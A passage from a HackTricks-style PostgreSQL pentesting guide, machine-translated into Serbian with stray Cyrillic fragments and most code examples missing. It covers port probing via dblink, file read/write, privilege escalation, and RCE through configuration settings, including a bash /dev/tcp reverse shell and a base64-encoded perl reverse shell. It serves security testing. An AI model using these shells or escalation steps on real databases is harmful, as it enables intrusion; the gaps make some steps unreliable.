5432,5433 - Pentesting Postgresql
Last updated
Last updated
Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice. Pribavite pristup danas:
PostgreSQL se opisuje kao objektno-relaциони sistem baza podataka koji je otvorenog koda. Ovaj sistem ne samo da koristi SQL jezik, već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti omogućavaju mu da upravlja širokim spektrom tipova podataka i operacija, što ga čini svestranom opcijom za programere i organizacije.
Podrazumevani port: 5432, a ako je ovaj port već u upotrebi, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije u upotrebi.
Ako prilikom pokretanja \list
pronađete bazu podataka pod nazivom rdsadmin
, znate da ste unutar AWS postgresql baze podataka.
Za više informacija o kako zloupotrebiti PostgreSQL bazu podataka proverite:
PostgreSQL injectionPrema ovoj studiji, kada pokušaj povezivanja ne uspe, dblink
baca sqlclient_unable_to_establish_sqlconnection
izuzetak koji uključuje objašnjenje greške. Primeri ovih detalja su navedeni u nastavku.
Host je nedostupan
DETAIL: nije moguće povezati se sa serverom: Nema rute do hosta Da li server radi na hostu "1.2.3.4" i prihvata TCP/IP veze na portu 5678?
Port je zatvoren
Port je otvoren
or
Port je otvoren ili filtriran
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim, ako imate direktan pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako vađenje korisničkih imena i lozinki iz sistemskih tabela nije izvodljivo, možete razmotriti korišćenje metode napada rečnika o kojoj se govori u prethodnom odeljku, jer bi to moglo potencijalno dati pozitivne rezultate.
Tipovi uloga | |
---|---|
rolsuper | Uloga ima privilegije superkorisnika |
rolinherit | Uloga automatski nasleđuje privilegije uloga čiji je član |
rolcreaterole | Uloga može kreirati nove uloge |
rolcreatedb | Uloga može kreirati baze podataka |
rolcanlogin | Uloga može da se prijavi. To jest, ova uloga može biti data kao identifikator za autorizaciju početne sesije |
rolreplication | Uloga je uloga replikacije. Uloga replikacije može inicirati replikacione veze i kreirati i brisati replikacione slotove. |
rolconnlimit | Za uloge koje mogu da se prijave, ovo postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači bez ograničenja. |
rolpassword | Nije lozinka (uvek se prikazuje kao |
rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka |
rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte Odeljak 5.8 za više informacija. |
rolconfig | Podrazumevane vrednosti specifične za ulogu za promenljive konfiguracije u vreme izvršavanja |
oid | ID uloge |
Ako ste član pg_execute_server_program
možete izvršavati programe
Ako ste član pg_read_server_files
možete čitati fajlove
Ako ste član pg_write_server_files
možete pisati fajlove
Napomena da je u Postgresu korisnik, grupa i uloga isto. To zavisi od kako to koristite i da li dozvoljavate prijavu.
Iz ovog commit članovi definisane DEFAULT_ROLE_READ_SERVER_FILES
grupe (nazvane pg_read_server_files
) i super korisnici mogu koristiti COPY
metodu na bilo kojoj putanji (pogledajte convert_and_check_filename
u genfile.c
):
Zapamtite da ako niste super korisnik, ali imate CREATEROLE dozvole, možete postati član te grupe:
Postoje druge postgres funkcije koje se mogu koristiti za čitati datoteku ili nabrojati direktorijum. Samo superkorisnici i korisnici sa eksplicitnim dozvolama mogu ih koristiti:
Možete pronaći više funkcija na https://www.postgresql.org/docs/current/functions-admin.html
Samo super korisnici i članovi pg_write_server_files
mogu koristiti copy za pisanje fajlova.
Zapamtite da ako niste super korisnik, ali imate CREATEROLE
dozvole, možete postati član te grupe:
Zapamtite da COPY ne može obraditi znakove za novi red, stoga čak i ako koristite base64 payload morate poslati jednosmerni tekst.
Veoma važna ograničenja ove tehnike su da copy
ne može biti korišćen za pisanje binarnih fajlova jer menja neke binarne vrednosti.
Međutim, postoje druge tehnike za upload velikih binarnih fajlova:
Big Binary Files Upload (PostgreSQL)Savjet za bug bounty: prijavite se za Intigriti, premium bug bounty platformu koju su kreirali hakeri, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!
Ako imate potrebne dozvole za čitanje i pisanje PostgreSQL server fajlova, možete ažurirati bilo koju tabelu na serveru tako što ćete prepisati povezani fajl čvora u PostgreSQL direktorijumu podataka. Više o ovoj tehnici ovde.
Potrebni koraci:
Nabavite PostgreSQL direktorijum podataka
Napomena: Ako ne možete da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upititi glavnu verziju PostgreSQL-a putem SELECT version()
upita i pokušati da brute-force putanju. Uobičajene putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Uobičajeno ime klastera je main
. 2. Nabavite relativnu putanju do filenode-a, povezanog sa ciljanom tabelom
Ovaj upit bi trebao da vrati nešto poput base/3/1337
. Puna putanja na disku će biti $DATA_DIRECTORY/base/3/1337
, tj. /var/lib/postgresql/13/main/base/3/1337
. 3. Preuzmite filenode putem lo_*
funkcija
Dobijte tip podataka, povezan sa ciljanom tabelom
Koristite PostgreSQL Filenode Editor da izmenite filenode; postavite sve rol*
boolean zastavice na 1 za pune dozvole.
6. Ponovo upload-ujte izmenjeni filenode putem lo_*
funkcija, i prepišite originalni fajl na disku
(Opcionalno) Očistite keš tabele u memoriji pokretanjem skupog SQL upita
Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u.
Takođe možete postati superadmin izmenom pg_authid
tabele. Pogledajte sledeći odeljak.
Od verzije 9.3, samo super korisnici i članovi grupe pg_execute_server_program
mogu koristiti copy za RCE (primer sa eksfiltracijom:
Primer za exec:
Zapamtite da ako niste super korisnik, ali imate CREATEROLE
dozvole, možete postati član te grupe:
Ili koristite multi/postgres/postgres_copy_from_program_cmd_exec
modul iz metasploit.
Više informacija o ovoj ranjivosti ovde. Dok je prijavljena kao CVE-2019-9193, Postges je izjavio da je to karakteristika i da neće biti ispravljena.
Kada ste naučili iz prethodnog posta kako da otpremite binarne datoteke, možete pokušati da dobijete RCE otpremanjem PostgreSQL ekstenzije i učitavanjem iste.
RCE with PostgreSQL ExtensionsSledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvesti kroz ugnježdene SELECT izjave
Konfiguraciona datoteka PostgreSQL-a je pisiva od strane postgres korisnika, koji pokreće bazu podataka, tako da kao superkorisnik, možete pisati datoteke u datotečnom sistemu, i stoga možete prepisati ovu datoteku.
Više informacija o ovoj tehnici ovde.
Konfiguraciona datoteka ima neke zanimljive atribute koji mogu dovesti do RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Putanja do privatnog ključa baze podataka
ssl_passphrase_command = ''
Ako je privatna datoteka zaštićena lozinkom (kriptovana), PostgreSQL će izvršiti komandu navedenu u ovom atributu.
ssl_passphrase_command_supports_reload = off
Ako je ovaj atribut uključen, komanda koja se izvršava ako je ključ zaštićen lozinkom biće izvršena kada se izvrši pg_reload_conf()
.
Tada će napadač morati da:
Isprazni privatni ključ sa servera
Enkriptuje preuzeti privatni ključ:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Prepiše
Isprazni trenutnu PostgreSQL konfiguraciju
Prepiše konfiguraciju sa pomenutim atributima:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Izvrši pg_reload_conf()
Tokom testiranja primetio sam da će ovo raditi samo ako privatna datoteka ključa ima privilegije 640, da je u vlasništvu root-a i grupe ssl-cert ili postgres (tako da korisnik postgres može da je pročita), i da se nalazi u /var/lib/postgresql/12/main.
Više informacija o ovoj konfiguraciji i o WAL ovde.
Još jedan atribut u konfiguracionoj datoteci koji se može iskoristiti je archive_command
.
Da bi ovo funkcionisalo, podešavanje archive_mode
mora biti 'on'
ili 'always'
. Ako je to tačno, onda bismo mogli prepisati komandu u archive_command
i naterati je da se izvrši putem WAL (logovanje unapred).
Opšti koraci su:
Proverite da li je arhivski režim omogućen: SELECT current_setting('archive_mode')
Prepišite archive_command
sa payload-om. Na primer, obrnuta ljuska: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Ponovo učitajte konfiguraciju: SELECT pg_reload_conf()
Naterajte WAL operaciju da se izvrši, što će pozvati arhivsku komandu: SELECT pg_switch_wal()
ili SELECT pg_switch_xlog()
za neke verzije Postgres-a
Više informacija o ovoj tehnici ovde.
Ovaj napad koristi sledeće konfiguracione varijable:
session_preload_libraries
-- biblioteke koje će biti učitane od strane PostgreSQL servera prilikom povezivanja klijenta.
dynamic_library_path
-- lista direktorijuma u kojima će PostgreSQL server tražiti biblioteke.
Možemo postaviti vrednost dynamic_library_path
na direktorijum, koji je pisiv od strane postgres
korisnika koji pokreće bazu podataka, npr. /tmp/
direktorijum, i otpremiti zlonamerni .so
objekat tamo. Zatim ćemo naterati PostgreSQL server da učita našu novoučitanu biblioteku uključivanjem u varijablu session_preload_libraries
.
Koraci napada su:
Preuzmite originalni postgresql.conf
Uključite /tmp/
direktorijum u vrednost dynamic_library_path
, npr. dynamic_library_path = '/tmp:$libdir'
Uključite naziv zlonamerne biblioteke u vrednost session_preload_libraries
, npr. session_preload_libraries = 'payload.so'
Proverite glavnu verziju PostgreSQL-a putem SELECT version()
upita
Kompajlirajte kod zlonamerne biblioteke sa odgovarajućim PostgreSQL dev paketom. Primer koda:
Kompajliranje koda:
Otpremite zlonamerni postgresql.conf
, kreiran u koracima 2-3, i prepišite originalni
Otpremite payload.so
iz koraka 5 u /tmp
direktorijum
Ponovo učitajte konfiguraciju servera ponovnim pokretanjem servera ili pozivanjem SELECT pg_reload_conf()
upita
Prilikom sledeće DB konekcije, dobićete obrnutu vezu.
Prema dokumentaciji: Uloge koje imaju CREATEROLE
privilegiju mogu dodeliti ili oduzeti članstvo u bilo kojoj ulozi koja nije superkorisnik.
Dakle, ako imate CREATEROLE
dozvolu, možete sebi dodeliti pristup drugim ulogama (koje nisu superkorisnici) koje vam mogu dati mogućnost da čitate i pišete datoteke i izvršavate komande:
Корисници са овом улогом такође могу променити лозинке других некорисника:
Prilično je uobičajeno da lokalni korisnici mogu da se prijave u PostgreSQL bez davanja bilo kakve lozinke. Stoga, kada prikupite dozvole za izvršavanje koda, možete zloupotrebiti te dozvole da dobijete SUPERUSER
ulogu:
To je obično moguće zbog sledećih linija u pg_hba.conf
datoteci:
U ovoj analizi objašnjeno je kako je bilo moguće privesc u Postgres GCP zloupotrebom ALTER TABLE privilegije koja je dodeljena korisniku.
Kada pokušate da napravite drugog korisnika vlasnikom tabele, trebali biste dobiti grešku koja to sprečava, ali očigledno je GCP dao tu opciju ne-superkorisniku postgres korisniku u GCP:
Spajajući ovu ideju sa činjenicom da kada se INSERT/UPDATE/ANALYZE komande izvršavaju na tabeli sa funkcijom indeksa, funkcija se poziva kao deo komande sa dozvolama vlasnika tabele. Moguće je kreirati indeks sa funkcijom i dati dozvole vlasnika super korisniku nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
Počnite kreiranjem nove tabele.
Umetnite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksa.
Razvijte zlonamernu funkciju indeksa koja sadrži payload za izvršenje koda, omogućavajući izvršavanje neovlašćenih komandi.
PROMENITE vlasnika tabele na "cloudsqladmin," što je superuser u GCP-u koji se isključivo koristi za upravljanje i održavanje baze podataka.
Izvršite ANALYZE operaciju na tabeli. Ova akcija primorava PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksa se poziva sa dozvolama "cloudsqladmin," čime se omogućava izvršenje prethodno neovlašćene shell komande.
U PostgreSQL-u, ovaj tok izgleda ovako:
Тада ће табела shell_commands_results
садржати излаз извршеног кода:
Neki pogrešno konfigurisani postgresql instance mogu omogućiti prijavu bilo kog lokalnog korisnika, moguće je lokalno sa 127.0.0.1 koristeći dblink
funkciju:
Napomena da bi prethodna upit radila funkcija dblink
treba da postoji. Ako ne postoji, možete pokušati da je kreirate sa
Ako imate lozinku korisnika sa više privilegija, ali korisnik nije dozvoljen da se prijavi sa spoljne IP adrese, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
Moguće je proveriti da li ova funkcija postoji sa:
U ovom izveštaju, pentesteri su mogli da privesc unutar postgres instance koju je obezbedio IBM, jer su pronašli ovu funkciju sa SECURITY DEFINER oznakom:
Kao što je objašnjeno u dokumentaciji, funkcija sa SECURITY DEFINER se izvršava sa privilegijama korisnika koji je poseduje. Stoga, ako je funkcija ranjiva na SQL Injection ili vrši neke privilegovane radnje sa parametrima koje kontroliše napadač, može se zloupotrebiti za eskalaciju privilegija unutar postgres.
U liniji 4 prethodnog koda možete videti da funkcija ima SECURITY DEFINER oznaku.
And then execute commands:
PL/pgSQL je potpuno funkcionalan programski jezik koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje petlji i drugih kontrolnih struktura za poboljšanje logike programa. Pored toga, SQL izjave i okidači imaju mogućnost da pozivaju funkcije koje su kreirane koristeći PL/pgSQL jezik. Ova integracija omogućava sveobuhvatan i svestran pristup programiranju i automatizaciji baza podataka. Možete zloupotrebiti ovaj jezik kako biste tražili od PostgreSQL-a da izvrši brute-force na korisničkim akreditivima.
PL/pgSQL Password BruteforceSledeći privesc vektor je posebno koristan u ograničenim SQLi kontekstima, jer se svi koraci mogu izvesti kroz ugnježdene SELECT izjave
Ako možete čitati i pisati PostgreSQL server fajlove, možete postati superkorisnik prepisivanjem PostgreSQL on-disk filenode-a, povezanog sa internom pg_authid
tabelom.
Pročitajte više o ovoj tehnici ovde.
Koraci napada su:
Dobijte PostgreSQL direktorijum podataka
Dobijte relativnu putanju do filenode-a, povezanog sa pg_authid
tabelom
Preuzmite filenode putem lo_*
funkcija
Dobijte tip podataka, povezan sa pg_authid
tabelom
Koristite PostgreSQL Filenode Editor da izmenite filenode; postavite sve rol*
boolean zastavice na 1 za pune dozvole.
Ponovo otpremite izmenjeni filenode putem lo_*
funkcija, i prepišite originalni fajl na disku
(Opcionalno) Očistite keš tabele u memoriji pokretanjem skupe SQL upita
Sada biste trebali imati privilegije punog superadmina.
Unutar postgresql.conf datoteke možete omogućiti postgresql logove promenom:
Zatim, ponovo pokrenite servis.
pgadmin je platforma za administraciju i razvoj za PostgreSQL. Možete pronaći lozinke unutar pgadmin4.db datoteke Možete ih dekriptovati koristeći decrypt funkciju unutar skripte: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
Klijent autentifikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl pod nazivom pg_hba.conf. Ovaj fajl sadrži niz zapisa, od kojih svaki specificira tip veze, opseg IP adresa klijenta (ako je primenljivo), naziv baze podataka, korisničko ime i metodu autentifikacije koja će se koristiti za usklađivanje veza. Prvi zapis koji odgovara tipu veze, adresi klijenta, traženoj bazi podataka i korisničkom imenu se koristi za autentifikaciju. Nema rezervne opcije ili povratka ako autentifikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
Dostupne metode autentifikacije zasnovane na lozinkama u pg_hba.conf su md5, crypt i password. Ove metode se razlikuju u načinu na koji se lozinka prenosi: MD5-hasheva, crypt-enkriptovana ili u čistom tekstu. Važno je napomenuti da se crypt metoda ne može koristiti sa lozinkama koje su enkriptovane u pg_authid.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)